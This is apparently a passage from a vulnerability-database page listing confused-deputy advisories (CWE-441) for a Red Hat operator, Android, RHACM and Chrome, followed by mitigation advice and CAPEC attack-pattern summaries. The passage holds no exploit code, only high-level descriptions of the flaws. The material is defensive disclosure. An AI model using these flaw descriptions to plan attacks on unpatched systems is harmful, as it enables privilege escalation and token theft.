    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T20:40:12Z",
    "nvd_published_at": "2025-12-15T17:15:51Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in runtimes-inventory-rhel8-operator. An internal proxy component is incorrectly configured. Because of this flaw, the proxy attaches the cluster\u0027s main administrative credentials to any command it receives, instead of only the specific reports it is supposed to handle.\n\nThis allows a standard user within the cluster to send unauthorized commands to the management platform, effectively acting with the full permissions of the cluster administrator. This could lead to unauthorized changes to the cluster\u0027s configuration or status on the Red Hat platform.",
  "id": "GHSA-cc8c-28gj-px38",
  "modified": "2025-12-16T20:40:12Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23236"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11393"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402032"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RedHatInsights/runtimes-inventory-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Misconfigured Internal Proxy in runtimes-inventory-rhel8-operator Grants Standard Users Full Cluster Administrator Access"
}

GHSA-CF4X-9JJ3-94W2

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31
VLAI
Details

In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:39Z",
    "severity": "HIGH"
  },
  "details": "In markMediaAsFavorite of MediaProvider.java, there is a possible way to bypass the WRITE_EXTERNAL_STORAGE permission due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-cf4x-9jj3-94w2",
  "modified": "2025-09-04T21:31:38Z",
  "published": "2025-09-04T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48532"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CHV5-WGPQ-794P

Vulnerability from github – Published: 2026-09-15 21:31 – Updated: 2026-09-15 21:31
VLAI
Details

In multiple files, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-56992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T19:17:30Z",
    "severity": "MODERATE"
  },
  "details": "In multiple files, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-chv5-wgpq-794p",
  "modified": "2026-09-15T21:31:18Z",
  "published": "2026-09-15T21:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56992"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CJW2-R57R-PWVF

Vulnerability from github – Published: 2026-08-12 03:31 – Updated: 2026-08-27 06:31
VLAI
Details

A flaw was found in multicloud-integrations, a component of Red Hat Advanced Cluster Management (RHACM). This vulnerability allows an authenticated user, referred to as a tenant, to manipulate the GitOpsCluster controller. By exploiting this, a tenant can redirect sensitive spoke cluster bearer tokens from secure locations to a namespace they control. This unauthorized access to tokens can lead to the disclosure of critical information and bypass security policies within ArgoCD AppProjects.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-70398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T02:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "A flaw was found in multicloud-integrations, a component of Red Hat Advanced Cluster Management (RHACM). This vulnerability allows an authenticated user, referred to as a tenant, to manipulate the GitOpsCluster controller. By exploiting this, a tenant can redirect sensitive spoke cluster bearer tokens from secure locations to a namespace they control. This unauthorized access to tokens can lead to the disclosure of critical information and bypass security policies within ArgoCD AppProjects.",
  "id": "GHSA-cjw2-r57r-pwvf",
  "modified": "2026-08-27T06:31:22Z",
  "published": "2026-08-12T03:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70398"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60386"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60387"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60388"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60389"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60390"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60391"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-70398"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514228"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CPQR-C57W-R93W

Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-09 15:35
VLAI
Details

Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-87582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T01:17:16Z",
    "severity": "HIGH"
  },
  "details": "Confused deputy in DataTransfer in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
  "id": "GHSA-cpqr-c57w-r93w",
  "modified": "2026-09-09T15:35:02Z",
  "published": "2026-09-09T03:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87582"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/500094528"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVJQ-R2QM-HR62

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-05 18:31
VLAI
Details

In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-22441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:34Z",
    "severity": "HIGH"
  },
  "details": "In getContextForResourcesEnsuringCorrectCachedApkPaths of RemoteViews.java, there is a possible way to load arbitrary java code in a privileged context due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.",
  "id": "GHSA-cvjq-r2qm-hr62",
  "modified": "2025-09-05T18:31:19Z",
  "published": "2025-09-04T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22441"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-08-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.